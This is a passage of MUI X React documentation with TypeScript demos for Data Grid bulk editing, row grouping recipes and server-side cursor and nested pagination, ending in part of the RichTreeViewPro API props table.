}

const BulkEditingContext = React.createContext<BulkEditingContextValue | null>(null);

function ActionsCell(props: GridRenderCellParams) {
  const context = React.useContext(BulkEditingContext);
  const apiRef = useGridApiContext();
  if (!context) {
    return null;
  }
  const { unsavedChangesRef, setHasUnsavedRows } = context;
  const { id, row } = props;

  return (
    <GridActionsCell {...props}>
      <GridActionsCellItem
        icon={<RestoreIcon />}
        label="Discard changes"
        disabled={unsavedChangesRef.current.unsavedRows[id] === undefined}
        onClick={() => {
          apiRef.current?.updateRows([
            unsavedChangesRef.current.rowsBeforeChange[id],
          ]);
          delete unsavedChangesRef.current.rowsBeforeChange[id];
          delete unsavedChangesRef.current.unsavedRows[id];
          setHasUnsavedRows(
            Object.keys(unsavedChangesRef.current.unsavedRows).length > 0,
          );
        }}
      />
      <GridActionsCellItem
        icon={<DeleteIcon />}
        label="Delete"
        onClick={() => {
          unsavedChangesRef.current.unsavedRows[id] = {
            ...row,
            _action: 'delete',
          };
          if (!unsavedChangesRef.current.rowsBeforeChange[id]) {
            unsavedChangesRef.current.rowsBeforeChange[id] = row;
          }
          setHasUnsavedRows(true);
          apiRef.current?.updateRows([row]); // to trigger row render
        }}
      />
    </GridActionsCell>
  );
}

export default function BulkEditing() {
  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 100,
    maxColumns: 7,
    editable: true,
    visibleFields,
  });

  const apiRef = useGridApiRef();

  const [hasUnsavedRows, setHasUnsavedRows] = React.useState(false);
  const [isSaving, setIsSaving] = React.useState(false);
  const unsavedChangesRef = React.useRef<UnsavedChanges>({
    unsavedRows: {},
    rowsBeforeChange: {},
  });

  const columns = React.useMemo<GridColDef[]>(() => {
    return [
      {
        field: 'actions',
        type: 'actions',
        renderCell: (params) => <ActionsCell {...params} />,
      },
      ...data.columns,
    ];
  }, [data.columns]);

  const processRowUpdate = React.useCallback<
    NonNullable<DataGridProps['processRowUpdate']>
  >((newRow, oldRow) => {
    const rowId = newRow.id;

    unsavedChangesRef.current.unsavedRows[rowId] = newRow;
    if (!unsavedChangesRef.current.rowsBeforeChange[rowId]) {
      unsavedChangesRef.current.rowsBeforeChange[rowId] = oldRow;
    }
    setHasUnsavedRows(true);
    return newRow;
  }, []);

  const discardChanges = React.useCallback(() => {
    setHasUnsavedRows(false);
    Object.values(unsavedChangesRef.current.rowsBeforeChange).forEach((row) => {
      apiRef.current?.updateRows([row]);
    });
    unsavedChangesRef.current = {
      unsavedRows: {},
      rowsBeforeChange: {},
    };
  }, [apiRef]);

  const saveChanges = React.useCallback(async () => {
    try {
      // Persist updates in the database
      setIsSaving(true);
      await new Promise((resolve) => {
        setTimeout(resolve, 1000);
      });

      setIsSaving(false);
      const rowsToDelete = Object.values(
        unsavedChangesRef.current.unsavedRows,
      ).filter((row) => row._action === 'delete');
      if (rowsToDelete.length > 0) {
        rowsToDelete.forEach((row) => {
          apiRef.current?.updateRows([row]);
        });
      }

      setHasUnsavedRows(false);
      unsavedChangesRef.current = {
        unsavedRows: {},
        rowsBeforeChange: {},
      };
    } catch (error) {
      setIsSaving(false);
    }
  }, [apiRef]);

  const getRowClassName = React.useCallback<
    NonNullable<DataGridProps['getRowClassName']>
  >(({ id }) => {
    const unsavedRow = unsavedChangesRef.current.unsavedRows[id];
    if (unsavedRow) {
      if (unsavedRow._action === 'delete') {
        return 'row--removed';
      }
      return 'row--edited';
    }
    return '';
  }, []);

  const bulkEditingContextValue = React.useMemo<BulkEditingContextValue>(
    () => ({
      unsavedChangesRef,
      setHasUnsavedRows,
    }),
    [unsavedChangesRef],
  );

  return (
    <div style={{ width: '100%' }}>
      <div style={{ marginBottom: 8 }}>
        <Button
          disabled={!hasUnsavedRows}
          loading={isSaving}
          onClick={saveChanges}
          startIcon={<SaveIcon />}
          loadingPosition="start"
        >
          <span>Save</span>
        </Button>
        <Button
          disabled={!hasUnsavedRows || isSaving}
          onClick={discardChanges}
          startIcon={<RestoreIcon />}
        >
          Discard all changes
        </Button>
      </div>
      <div style={{ height: 400 }}>
        <BulkEditingContext.Provider value={bulkEditingContextValue}>
          <DataGrid
            {...data}
            columns={columns}
            apiRef={apiRef}
            disableRowSelectionOnClick
            processRowUpdate={processRowUpdate}
            ignoreValueFormatterDuringExport
            sx={{
              [`& .${gridClasses.row}.row--removed`]: {
                backgroundColor: (theme) => {
                  if (theme.palette.mode === 'light') {
                    return 'rgba(255, 170, 170, 0.3)';
                  }
                  return darken('rgba(255, 170, 170, 1)', 0.7);
                },
              },
              [`& .${gridClasses.row}.row--edited`]: {
                backgroundColor: (theme) => {
                  if (theme.palette.mode === 'light') {
                    return 'rgba(255, 254, 176, 0.3)';
                  }
                  return darken('rgba(255, 254, 176, 1)', 0.6);
                },
              },
            }}
            loading={isSaving}
            getRowClassName={getRowClassName}
          />
        </BulkEditingContext.Provider>
      </div>
    </div>
  );
}

```

### With commercial features [<span class="plan-premium"></span>](/x/introduction/licensing/#premium-plan 'Premium plan')

When using [Data Grid Premium](/x/react-data-grid/#premium-version), bulk editing applies to row updates from [Clipboard paste](/x/react-data-grid/clipboard/#clipboard-paste) automatically, since [Clipboard paste uses Editing API for persistence](/x/react-data-grid/clipboard/#persisting-pasted-data):

```tsx
/* eslint-disable no-underscore-dangle */
import * as React from 'react';
import {
  DataGridPremium,
  GridRowId,
  GridValidRowModel,
  DataGridPremiumProps,
  useGridApiRef,
  GridActionsCellItem,
  GridColDef,
  gridClasses,
  GridActionsCell,
  GridRenderCellParams,
  useGridApiContext,
} from '@mui/x-data-grid-premium';
import { useDemoData } from '@mui/x-data-grid-generator';
import Button from '@mui/material/Button';
import DeleteIcon from '@mui/icons-material/Delete';
import RestoreIcon from '@mui/icons-material/Restore';
import SaveIcon from '@mui/icons-material/Save';
import { darken } from '@mui/material/styles';

const visibleFields = [
  'id',
  'commodity',
  'traderName',
  'traderEmail',
  'quantity',
  'filledQuantity',
];

interface UnsavedChanges {
  unsavedRows: Record<GridRowId, GridValidRowModel>;
  rowsBeforeChange: Record<GridRowId, GridValidRowModel>;
}

interface BulkEditingContextValue {
  unsavedChangesRef: React.RefObject<UnsavedChanges>;
  setHasUnsavedRows: (hasUnsavedRows: boolean) => void;
}

const BulkEditingContext = React.createContext<BulkEditingContextValue | null>(null);

function ActionsCell(props: GridRenderCellParams) {
  const context = React.useContext(BulkEditingContext);
  const apiRef = useGridApiContext();
  if (!context) {
    return null;
  }
  const { unsavedChangesRef, setHasUnsavedRows } = context;
  const { id, row } = props;

  return (
    <GridActionsCell {...props}>
      <GridActionsCellItem
        icon={<RestoreIcon />}
        label="Discard changes"
        disabled={unsavedChangesRef.current.unsavedRows[id] === undefined}
        onClick={() => {
          apiRef.current?.updateRows([
            unsavedChangesRef.current.rowsBeforeChange[id],
          ]);
          delete unsavedChangesRef.current.rowsBeforeChange[id];
          delete unsavedChangesRef.current.unsavedRows[id];
          setHasUnsavedRows(
            Object.keys(unsavedChangesRef.current.unsavedRows).length > 0,
          );
        }}
      />
      <GridActionsCellItem
        icon={<DeleteIcon />}
        label="Delete"
        onClick={() => {
          unsavedChangesRef.current.unsavedRows[id] = {
            ...row,
            _action: 'delete',
          };
          if (!unsavedChangesRef.current.rowsBeforeChange[id]) {
            unsavedChangesRef.current.rowsBeforeChange[id] = row;
          }
          setHasUnsavedRows(true);
          apiRef.current?.updateRows([row]); // to trigger row render
        }}
      />
    </GridActionsCell>
  );
}

export default function BulkEditingPremiumNoSnap() {
  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 100,
    maxColumns: 7,
    editable: true,
    visibleFields,
  });

  const apiRef = useGridApiRef();

  const [hasUnsavedRows, setHasUnsavedRows] = React.useState(false);
  const [isSaving, setIsSaving] = React.useState(false);
  const unsavedChangesRef = React.useRef<UnsavedChanges>({
    unsavedRows: {},
    rowsBeforeChange: {},
  });

  const columns = React.useMemo<GridColDef[]>(() => {
    return [
      {
        field: 'actions',
        type: 'actions',
        renderCell: (params) => <ActionsCell {...params} />,
      },
      ...data.columns,
    ];
  }, [data.columns]);

  const processRowUpdate = React.useCallback<
    NonNullable<DataGridPremiumProps['processRowUpdate']>
  >((newRow, oldRow) => {
    const rowId = newRow.id;

    unsavedChangesRef.current.unsavedRows[rowId] = newRow;
    if (!unsavedChangesRef.current.rowsBeforeChange[rowId]) {
      unsavedChangesRef.current.rowsBeforeChange[rowId] = oldRow;
    }
    setHasUnsavedRows(true);
    return newRow;
  }, []);

  const discardChanges = React.useCallback(() => {
    setHasUnsavedRows(false);
    apiRef.current?.updateRows(
      Object.values(unsavedChangesRef.current.rowsBeforeChange),
    );
    unsavedChangesRef.current = {
      unsavedRows: {},
      rowsBeforeChange: {},
    };
  }, [apiRef]);

  const saveChanges = React.useCallback(async () => {
    try {
      // Persist updates in the database
      setIsSaving(true);
      await new Promise((resolve) => {
        setTimeout(resolve, 1000);
      });

      setIsSaving(false);
      const rowsToDelete = Object.values(
        unsavedChangesRef.current.unsavedRows,
      ).filter((row) => row._action === 'delete');
      if (rowsToDelete.length > 0) {
        apiRef.current?.updateRows(rowsToDelete);
      }

      setHasUnsavedRows(false);
      unsavedChangesRef.current = {
        unsavedRows: {},
        rowsBeforeChange: {},
      };
    } catch (error) {
      setIsSaving(false);
    }
  }, [apiRef]);

  const getRowClassName = React.useCallback<
    NonNullable<DataGridPremiumProps['getRowClassName']>
  >(({ id }) => {
    const unsavedRow = unsavedChangesRef.current.unsavedRows[id];
    if (unsavedRow) {
      if (unsavedRow._action === 'delete') {
        return 'row--removed';
      }
      return 'row--edited';
    }
    return '';
  }, []);

  const bulkEditingContextValue = React.useMemo<BulkEditingContextValue>(
    () => ({
      unsavedChangesRef,
      setHasUnsavedRows,
    }),
    [unsavedChangesRef],
  );

  return (
    <div style={{ width: '100%' }}>
      <div style={{ marginBottom: 8 }}>
        <Button
          disabled={!hasUnsavedRows}
          loading={isSaving}
          onClick={saveChanges}
          startIcon={<SaveIcon />}
          loadingPosition="start"
        >
          <span>Save</span>
        </Button>
        <Button
          disabled={!hasUnsavedRows || isSaving}
          onClick={discardChanges}
          startIcon={<RestoreIcon />}
        >
          Discard all changes
        </Button>
      </div>
      <div style={{ height: 400 }}>
        <BulkEditingContext.Provider value={bulkEditingContextValue}>
          <DataGridPremium
            {...data}
            columns={columns}
            apiRef={apiRef}
            disableRowSelectionOnClick
            cellSelection
            processRowUpdate={processRowUpdate}
            ignoreValueFormatterDuringExport
            sx={{
              [`& .${gridClasses.row}.row--removed`]: {
                backgroundColor: (theme) => {
                  if (theme.palette.mode === 'light') {
                    return 'rgba(255, 170, 170, 0.3)';
                  }
                  return darken('rgba(255, 170, 170, 1)', 0.7);
                },
              },
              [`& .${gridClasses.row}.row--edited`]: {
                backgroundColor: (theme) => {
                  if (theme.palette.mode === 'light') {
                    return 'rgba(255, 254, 176, 0.3)';
                  }
                  return darken('rgba(255, 254, 176, 1)', 0.6);
                },
              },
            }}
            loading={isSaving}
            getRowClassName={getRowClassName}
          />
        </BulkEditingContext.Provider>
      </div>
    </div>
  );
}

```

---

# Source: https://mui.com/x/react-data-grid/recipes-row-grouping.md

---
title: Data Grid - Row grouping recipes
---

# Data Grid - Row grouping recipes [<span class="plan-premium"></span>](/x/introduction/licensing/#premium-plan 'Premium plan')

Advanced grid customization recipes.

## Toggling groups on row click

In the demo below, you can toggle the group by clicking anywhere on the grouping row:

```tsx
import * as React from 'react';
import {
  DataGridPremium,
  useGridApiRef,
  useKeepGroupedColumnsHidden,
  GridEventListener,
} from '@mui/x-data-grid-premium';
import { useMovieData } from '@mui/x-data-grid-generator';

export default function RowGroupingExpandOnRowClick() {
  const data = useMovieData();
  const apiRef = useGridApiRef();

  const initialState = useKeepGroupedColumnsHidden({
    apiRef,
    initialState: {
      rowGrouping: {
        model: ['company'],
      },
    },
  });

  const onRowClick = React.useCallback<GridEventListener<'rowClick'>>(
    (params) => {
      const rowNode = apiRef.current?.getRowNode(params.id);
      if (rowNode && rowNode.type === 'group') {
        apiRef.current?.setRowChildrenExpansion(
          params.id,
          !rowNode.childrenExpanded,
        );
      }
    },
    [apiRef],
  );

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium
        {...data}
        apiRef={apiRef}
        initialState={initialState}
        onRowClick={onRowClick}
      />
    </div>
  );
}

```

## Pinning a grouped column

Use `GRID_ROW_GROUPING_SINGLE_GROUPING_FIELD` to pin a grouped column. In the demo below, the `Company` column is pinned:

```tsx
import {
  DataGridPremium,
  useGridApiRef,
  useKeepGroupedColumnsHidden,
  GRID_ROW_GROUPING_SINGLE_GROUPING_FIELD,
} from '@mui/x-data-grid-premium';
import { useMovieData } from '@mui/x-data-grid-generator';

export default function RowGroupingPinning() {
  const data = useMovieData();
  const apiRef = useGridApiRef();

  const initialState = useKeepGroupedColumnsHidden({
    apiRef,
    initialState: {
      rowGrouping: {
        model: ['company'],
      },
      pinnedColumns: { left: [GRID_ROW_GROUPING_SINGLE_GROUPING_FIELD] },
    },
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium {...data} apiRef={apiRef} initialState={initialState} />
    </div>
  );
}

```

## Creating and reordering groups with drag and drop

See [Toolbar component—Row grouping bar](/x/react-data-grid/components/toolbar/#row-grouping-toolbar) for an example of how to add a custom toolbar that lets users create row groups by dragging and dropping.

## Sorting row groups by the number of child rows

By default, the row grouping column uses `sortComparator` of the grouping column for sorting.

To sort the row groups by the number of child rows, you can override it using `groupingColDef.sortComparator`:

```tsx
import * as React from 'react';
import {
  DataGridPremium,
  gridFilteredDescendantCountLookupSelector,
  useGridApiRef,
  GRID_ROW_GROUPING_SINGLE_GROUPING_FIELD,
  GridGroupingColDefOverride,
  GridInitialState,
} from '@mui/x-data-grid-premium';
import { useMovieData } from '@mui/x-data-grid-generator';

const initialState: GridInitialState = {
  rowGrouping: {
    model: ['company', 'cinematicUniverse'],
  },
  sorting: {
    sortModel: [{ field: GRID_ROW_GROUPING_SINGLE_GROUPING_FIELD, sort: 'desc' }],
  },
};

export default function RowGroupingSortByChildRows() {
  const data = useMovieData();
  const apiRef = useGridApiRef();

  const groupingColDef: GridGroupingColDefOverride = React.useMemo(
    () => ({
      width: 275,
      sortComparator: (v1, v2, cellParams1, cellParams2) => {
        if (
          cellParams1.rowNode.type === 'group' &&
          cellParams2.rowNode.type === 'group'
        ) {
          // Sort the values, but only within the same group
          if (
            cellParams1.rowNode.groupingField === cellParams2.rowNode.groupingField
          ) {
            const filteredDescendantCountLookup =
              gridFilteredDescendantCountLookupSelector(apiRef);
            const cell1DescendantCount =
              filteredDescendantCountLookup[cellParams1.rowNode.id] ?? 0;
            const cell2DescendantCount =
              filteredDescendantCountLookup[cellParams2.rowNode.id] ?? 0;

            return cell1DescendantCount - cell2DescendantCount;
          }
          return 0;
        }

        if (cellParams1.rowNode.type === 'group') {
          return 1;
        }

        if (cellParams2.rowNode.type === 'group') {
          return -1;
        }

        return 0;
      },
    }),
    [apiRef],
  );

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium
        {...data}
        apiRef={apiRef}
        initialState={initialState}
        groupingColDef={groupingColDef}
      />
    </div>
  );
}

```

## Displaying child row count in footer

By default, the row count in the footer is the number of top level rows that are visible after filtering.

In the demo below, a `CustomFooterRowCount` component is added to the `footerRowCount` slot. This component uses the `gridFilteredDescendantRowCountSelector` to get the number of child rows and display it alongside the number of groups.

```tsx
import {
  DataGridPremium,
  GridRowCountProps,
  useGridApiRef,
  useGridSelector,
  useKeepGroupedColumnsHidden,
  useGridApiContext,
  gridFilteredDescendantRowCountSelector,
} from '@mui/x-data-grid-premium';
import { useMovieData } from '@mui/x-data-grid-generator';
import Box from '@mui/material/Box';

function CustomFooterRowCount(props: GridRowCountProps) {
  const { visibleRowCount: topLevelRowCount } = props;
  const apiRef = useGridApiContext();
  const descendantRowCount = useGridSelector(
    apiRef,
    gridFilteredDescendantRowCountSelector,
  );

  return (
    <Box sx={{ mx: 2 }}>
      {descendantRowCount} row{descendantRowCount > 1 ? 's' : ''} in{' '}
      {topLevelRowCount} group
      {topLevelRowCount > 1 ? 's' : ''}
    </Box>
  );
}

export default function RowGroupingChildRowCount() {
  const data = useMovieData();
  const apiRef = useGridApiRef();

  const initialState = useKeepGroupedColumnsHidden({
    apiRef,
    initialState: {
      rowGrouping: {
        model: ['company'],
      },
    },
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium
        {...data}
        apiRef={apiRef}
        initialState={initialState}
        slots={{
          footerRowCount: CustomFooterRowCount,
        }}
      />
    </div>
  );
}

```

## Styling row groups based on child conditions

You can check the [styling row groups](/x/react-data-grid/style/#styling-row-groups) section for more information.

## Grouping multiple fields into a single column

Provide [`groupingValueGetter()`](/x/react-data-grid/row-grouping/#using-groupingvaluegetter-for-complex-grouping-value) with a separator constant to combine multiple columns into one and provide a custom [`renderCell()`](/x/react-data-grid/cells/#rendercell) to control the output interface.

The following demo shows how to create multiple grouping columns (`label` and `priority`) into a single grouping column.

Take a look at the second column definition in the `columns` array:

- The `field` is set to `label`, which is one of the grouping columns.
- The `groupingValueGetter` combines the `label` and `priority` fields into a single string separated by a constant effectively changing the grouping criteria for this column.
- The `renderCell` splits the string and displays the `priority` field as a colored `Chip` when the row type is a group.

```tsx
import Box from '@mui/material/Box';
import {
  DataGridPremium,
  GridColDef,
  useKeepGroupedColumnsHidden,
  useGridApiRef,
} from '@mui/x-data-grid-premium';
import Chip, { ChipProps } from '@mui/material/Chip';

const SEPARATOR = '___MULTI_COL___';

const columns: GridColDef<Task>[] = [
  {
    field: 'assignee',
    headerName: 'Assignee',
    width: 150,
  },
  {
    field: 'label',
    headerName: 'Task Group',
    width: 240,
    groupingValueGetter: (value, row) => `${value}${SEPARATOR}${row.priority}`,
    renderCell: (params) => {
      if (params.rowNode.type === 'group') {
        if (params.value === undefined) {
          return null;
        }
        const val = params.value.split(SEPARATOR);
        let color: ChipProps['color'] = 'default';
        if (val[1] === 'High') {
          color = 'error';
        } else if (val[1] === 'Medium') {
          color = 'warning';
        } else {
          color = 'success';
        }
        return (
          <Box sx={{ display: 'flex', alignItems: 'center', gap: 1 }}>
            <div>{val[0]}</div>
            <Chip color={color} label={val[1]} size="small" />
          </Box>
        );
      }
      return params.value;
    },
  },
  {
    field: 'detail',
    headerName: 'Detail',
    width: 360,
  },
];

interface Task {
  id: number;
  label: string;
  detail: string;
  assignee: string;
  priority: 'Low' | 'Medium' | 'High';
}

const rows: Task[] = [
  {
    id: 1,
    label: 'Design mockups',
    detail: 'Create initial wireframes and mockups for the new dashboard',
    assignee: 'Alice',
    priority: 'High',
  },
  {
    id: 2,
    label: 'Design mockups',
    detail: 'Design mobile responsive layouts',
    assignee: 'Alice',
    priority: 'High',
  },
  {
    id: 3,
    label: 'Design mockups',
    detail: 'Update color scheme and typography',
    assignee: 'Alice',
    priority: 'Medium',
  },
  {
    id: 4,
    label: 'Code review',
    detail: 'Review authentication module PR #123',
    assignee: 'Bob',
    priority: 'High',
  },
  {
    id: 5,
    label: 'Code review',
    detail: 'Review API endpoint refactoring',
    assignee: 'Bob',
    priority: 'Medium',
  },
  {
    id: 6,
    label: 'Code review',
    detail: 'Review database migration scripts',
    assignee: 'Bob',
    priority: 'Medium',
  },
  {
    id: 7,
    label: 'Design mockups',
    detail: 'Create icon set for navigation',
    assignee: 'Charlie',
    priority: 'Low',
  },
  {
    id: 8,
    label: 'Code review',
    detail: 'Review test coverage improvements',
    assignee: 'Charlie',
    priority: 'Low',
  },
];

export default function RowGroupingMultipleFields() {
  const apiRef = useGridApiRef();
  const initialState = useKeepGroupedColumnsHidden({
    apiRef,
    initialState: {
      rowGrouping: {
        model: ['assignee', 'label'],
      },
    },
  });

  return (
    <Box sx={{ height: 400, width: '100%' }}>
      <DataGridPremium
        rows={rows}
        columns={columns}
        initialState={initialState}
        defaultGroupingExpansionDepth={1}
      />
    </Box>
  );
}

```

---

# Source: https://mui.com/x/react-data-grid/server-side-data/recipes.md

# Data Grid - Server-side data recipes

Recipes for advanced data source use-cases.

## Cursor-based pagination

Cursor-based pagination requires the cursor from the previous page's response to fetch the next page. Unlike offset pagination where you can jump to any page independently, each page request depends on the cursor returned from the earlier response.

There are two approaches to implement:

1. **Blocking approach**: Users can only navigate to the next page after the current response arrives with its cursor
2. **Non-blocking approach**: Allow users to click next immediately, but queue the request until the previous cursor becomes available

### Blocking approach

The following example demonstrates the blocking approach by controlling the `paginationModel` state.
It is only updated when the previous page's response arrives, ensuring that the cursor is always available for the next request.

```tsx
import * as React from 'react';
import {
  DataGrid,
  GridDataSource,
  GridPaginationModel,
  GridRowId,
} from '@mui/x-data-grid';
import { useMockServer } from '@mui/x-data-grid-generator';

export default function ServerSideCursorBlocking() {
  const { columns, initialState, fetchRows } = useMockServer(
    {},
    { useCursorPagination: true, minDelay: 1000, maxDelay: 2000 },
  );
  const [paginationModel, setPaginationModel] = React.useState({
    page: 0,
    pageSize: 10,
  });
  const paginationModelRef = React.useRef(paginationModel);
  paginationModelRef.current = paginationModel;

  const mapPageToNextCursor = React.useRef<{
    [page: number]: GridRowId | undefined;
  }>({});

  const handlePaginationModelChange = (newPaginationModel: GridPaginationModel) => {
    if (
      newPaginationModel.page === 0 ||
      mapPageToNextCursor.current[newPaginationModel.page - 1]
    ) {
      setPaginationModel(newPaginationModel);
    }
  };

  const dataSource: GridDataSource = React.useMemo(
    () => ({
      getRows: async (params) => {
        const cursor =
          mapPageToNextCursor.current[paginationModelRef.current.page - 1];
        const urlParams = new URLSearchParams({
          paginationModel: JSON.stringify(params.paginationModel),
          filterModel: JSON.stringify(params.filterModel),
          sortModel: JSON.stringify(params.sortModel),
          cursor: String(cursor ?? ''),
        });
        const getRowsResponse = await fetchRows(
          `https://mui.com/x/api/data-grid?${urlParams.toString()}`,
        );
        mapPageToNextCursor.current[params.paginationModel?.page || 0] =
          getRowsResponse.pageInfo?.nextCursor;
        return {
          rows: getRowsResponse.rows,
          rowCount: getRowsResponse.rowCount,
        };
      },
    }),
    [fetchRows],
  );

  return (
    <div style={{ width: '100%', height: 400 }}>
      <DataGrid
        columns={columns}
        dataSource={dataSource}
        pagination
        initialState={{
          ...initialState,
          pagination: { rowCount: 0 },
        }}
        paginationModel={paginationModel}
        onPaginationModelChange={handlePaginationModelChange}
        pageSizeOptions={[10, 20, 50]}
      />
    </div>
  );
}

```

### Non-blocking approach

The following example demonstrates the non-blocking approach using a custom cache with two key methods:

- **`pushKey()`**: Tracks request order before responses arrive, allowing immediate pagination
- **`getLast()`**: Waits for the previous page's cursor to resolve before making the actual request

The cache is cleared whenever the filter or sort model changes to ensure data consistency.

For error handling, the example simulates a server error when requesting page 8.
When an error occurs, the cache entry for that request is deleted, and the `paginationModel` is reverted to the previous page to maintain a consistent state.

```tsx
import * as React from 'react';
import {
  DataGrid,
  GridDataSource,
  GridGetRowsParams,
  GridGetRowsResponse,
  useGridApiRef,
} from '@mui/x-data-grid';
import Snackbar from '@mui/material/Snackbar';
import Alert, { AlertProps } from '@mui/material/Alert';
import { useMockServer } from '@mui/x-data-grid-generator';

function getKeyDefault(params: GridGetRowsParams) {
  return JSON.stringify([
    params.filterModel,
    params.sortModel,
    params.start,
    params.end,
  ]);
}

class Cache {
  private cache: Record<string, { value: GridGetRowsResponse }>;

  private cacheKeys: Set<string>;

  private getKey: (params: GridGetRowsParams) => string;

  constructor() {
    this.cache = {};
    this.cacheKeys = new Set();
    this.getKey = getKeyDefault;
  }

  set(key: GridGetRowsParams, value: GridGetRowsResponse) {
    const keyString = this.getKey(key);
    this.cache[keyString] = { value };
  }

  get(key: GridGetRowsParams): GridGetRowsResponse | undefined {
    const keyString = this.getKey(key);
    const entry = this.cache[keyString];
    if (!entry) {
      return undefined;
    }

    return entry.value;
  }

  pushKey(key: GridGetRowsParams) {
    const keyString = this.getKey(key);
    this.cacheKeys.add(keyString);
  }

  deleteKey(key: GridGetRowsParams) {
    const keyString = this.getKey(key);
    delete this.cache[keyString];
    this.cacheKeys.delete(keyString);
  }

  async getLast(key: GridGetRowsParams): Promise<GridGetRowsResponse | undefined> {
    const cacheKeys = Array.from(this.cacheKeys);
    const prevKey = cacheKeys[cacheKeys.indexOf(this.getKey(key)) - 1];
    if (!prevKey) {
      return undefined;
    }
    if (this.cache[prevKey]) {
      return this.cache[prevKey].value;
    }
    return new Promise((resolve) => {
      const intervalId = setInterval(() => {
        if (this.cache[prevKey]) {
          clearInterval(intervalId);
          resolve(this.cache[prevKey].value);
        }
      }, 100);
    });
  }

  clear() {
    this.cache = {};
    this.cacheKeys.clear();
  }
}

export default function ServerSideCursorNonBlocking() {
  const apiRef = useGridApiRef();
  const [snackbar, setSnackbar] = React.useState<AlertProps | null>(null);
  const { columns, initialState, fetchRows } = useMockServer(
    {},
    { useCursorPagination: true, minDelay: 200, maxDelay: 500 },
  );
  const cache = React.useMemo(() => new Cache(), []);

  const dataSource: GridDataSource = React.useMemo(
    () => ({
      getRows: async (params) => {
        cache.pushKey(params);
        const latestResponse = await cache.getLast(params);
        const urlParams = new URLSearchParams({
          paginationModel: JSON.stringify(params.paginationModel),
          filterModel: JSON.stringify(params.filterModel),
          sortModel: JSON.stringify(params.sortModel),
          cursor: String(latestResponse?.pageInfo?.nextCursor ?? ''),
        });
        try {
          if (params.paginationModel?.page === 7) {
            throw new Error('Simulate server error on page 8');
          }
          const getRowsResponse = await fetchRows(
            `https://mui.com/x/api/data-grid?${urlParams.toString()}`,
          );
          return {
            rows: getRowsResponse.rows,
            rowCount: getRowsResponse.rowCount,
            pageInfo: { nextCursor: getRowsResponse.pageInfo?.nextCursor },
          };
        } catch (error) {
          cache.deleteKey(params);
          apiRef.current?.setPaginationModel({
            page: params.paginationModel!.page - 1,
            pageSize: params.paginationModel!.pageSize,
          });
          setSnackbar({ children: (error as Error).message, severity: 'error' });
          throw error;
        }
      },
    }),
    [fetchRows, cache, apiRef],
  );

  const handleCloseSnackbar = () => {
    setSnackbar(null);
  };

  return (
    <div style={{ width: '100%', height: 400 }}>
      <DataGrid
        apiRef={apiRef}
        columns={columns}
        dataSource={dataSource}
        dataSourceCache={cache}
        pagination
        initialState={{
          ...initialState,
          pagination: {
            paginationModel: {
              page: 0,
              pageSize: 10,
            },
            rowCount: 0,
          },
        }}
        pageSizeOptions={[10, 20, 50]}
        onFilterModelChange={() => cache.clear()}
        onSortModelChange={() => cache.clear()}
      />
      {!!snackbar && (
        <Snackbar
          open
          anchorOrigin={{ vertical: 'bottom', horizontal: 'center' }}
          onClose={handleCloseSnackbar}
          autoHideDuration={6000}
        >
          <Alert {...snackbar} onClose={handleCloseSnackbar} />
        </Snackbar>
      )}
    </div>
  );
}

```

## Tree data nested pagination

By default, the pagination works only on the first level of the tree.
You can create the nested pagination with [row pinning](/x/react-data-grid/row-pinning/) feature as shown in the following demo.

:::warning

This demo implements nested lazy loading using row pinning, which means that certain features such as caching, row selection, and copy & paste functionality may not work as expected.

Check the [Server-side data—Nested lazy loading](/x/react-data-grid/server-side-data/lazy-loading/#nested-lazy-loading) section for updates on an internal implementation.

:::

```tsx
import * as React from 'react';
import {
  DataGridPro,
  useGridApiRef,
  type GridDataSource,
} from '@mui/x-data-grid-pro';
import { useMockServer } from '@mui/x-data-grid-generator';
import useNestedPagination from './useNestedPagination';

const pageSizeOptions = [5, 10, 50];
const dataSetOptions = {
  dataSet: 'Employee' as const,
  rowLength: 1000,
  treeData: { maxDepth: 3, groupingField: 'name', averageChildren: 20 },
};
const serverOptions = {};

const initialPaginationModel = {
  pageSize: 5,
  page: 0,
};

export default function ServerSideTreeDataNestedPagination() {
  const apiRef = useGridApiRef();

  const { groupKeys, ...props } = useNestedPagination(initialPaginationModel);
  const { fetchRows, columns, initialState } = useMockServer(
    dataSetOptions,
    serverOptions,
    false,
    true,
  );

  const dataSource: GridDataSource = React.useMemo(
    () => ({
      getRows: async (params) => {
        const urlParams = new URLSearchParams({
          paginationModel: JSON.stringify(params.paginationModel),
          filterModel: JSON.stringify(params.filterModel),
          sortModel: JSON.stringify(params.sortModel),
          groupKeys: JSON.stringify(groupKeys),
        });
        const getRowsResponse = await fetchRows(
          `https://mui.com/x/api/data-grid?${urlParams.toString()}`,
        );
        return {
          rows: getRowsResponse.rows,
          rowCount: getRowsResponse.rowCount,
        };
      },
      getGroupKey: (row) => row[dataSetOptions.treeData.groupingField],
      getChildrenCount: (row) => row.descendantCount,
    }),
    [fetchRows, groupKeys],
  );

  return (
    <div style={{ width: '100%', height: 500 }}>
      <DataGridPro
        {...props}
        columns={columns}
        dataSource={dataSource}
        dataSourceCache={null}
        treeData
        apiRef={apiRef}
        pagination
        pageSizeOptions={pageSizeOptions}
        initialState={initialState}
        showToolbar
      />
    </div>
  );
}

```

---

# Source: https://mui.com/x/api/tree-view/rich-tree-view-pro.md

# RichTreeViewPro API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Rich Tree View - Lazy loading
- Rich Tree View - Ordering

## Import

```jsx
import { RichTreeViewPro } from '@mui/x-tree-view-pro/RichTreeViewPro';
// or
import { RichTreeViewPro } from '@mui/x-tree-view-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| apiRef | `{ current?: { focusItem?: func, getItem?: func, getItemDOMElement?: func, getItemOrderedChildrenIds?: func, getItemTree?: func, getParentId?: func, isItemExpanded?: func, setEditedItem?: func, setIsItemDisabled?: func, setItemExpansion?: func, setItemSelection?: func, updateItemChildren?: func, updateItemLabel?: func } }` | - | No |  |
| canMoveItemToNewPosition | `function(parameters: object, parameters.itemId: TreeViewItemId, parameters.oldPosition: TreeViewItemReorderPosition, parameters.newPosition: TreeViewItemReorderPosition) => boolean` | - | No |  |
| checkboxSelection | `bool` | `false` | No |  |
